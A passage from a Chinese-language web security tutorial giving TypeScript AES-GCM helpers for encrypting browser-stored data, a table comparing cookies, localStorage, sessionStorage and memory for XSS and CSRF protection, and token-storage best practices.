// 4. 对存储的敏感数据加密
// 即使 XSS 读取到也无法直接使用
async function encryptData(data: string, key: CryptoKey): Promise<string> {
const encoder = new TextEncoder();
const iv = crypto.getRandomValues(new Uint8Array(12));
const encrypted = await crypto.subtle.encrypt(
{ name: 'AES-GCM', iv },
key,
encoder.encode(data)
);
// 将 iv 和密文拼接后 Base64 编码
const combined = new Uint8Array(iv.length + new Uint8Array(encrypted).length);
combined.set(iv);
combined.set(new Uint8Array(encrypted), iv.length);
return btoa(String.fromCharCode(...combined));
}
async function decryptData(encryptedStr: string, key: CryptoKey): Promise<string> {
const combined = Uint8Array.from(atob(encryptedStr), (c) => c.charCodeAt(0));
const iv = combined.slice(0, 12);
const data = combined.slice(12);
const decrypted = await crypto.subtle.decrypt(
{ name: 'AES-GCM', iv },
key,
data
);
return new TextDecoder().decode(decrypted);
}
| 存储位置 | XSS 防护 | CSRF 防护 | 推荐场景 |
|---|---|---|---|
| HttpOnly Cookie | ✅ JS 无法读取 | 需配合 SameSite | 认证凭证(推荐) |
| localStorage | ❌ 易被窃取 | ✅ 不自动携带 | 非敏感缓存数据 |
| 内存变量 | ✅ 页面关闭即消失 | ✅ 不自动携带 | Access Token(推荐) |
| sessionStorage | ❌ 易被窃取 | ✅ 不自动携带 | 临时非敏感数据 |
最佳实践:Access Token 存内存,Refresh Token 存 HttpOnly Cookie,两者配合使用。
- 了解各种存储方式的容量限制和生命周期
- 理解 Cookie 的安全属性(HttpOnly、Secure、SameSite)
- 能够根据场景选择合适的存储方式
- 了解 IndexedDB 的异步特性和事务机制
- 知道如何实现跨标签页通信
- 理解 XSS 对存储安全的威胁以及防护措施
- 掌握 Token 安全存储的最佳实践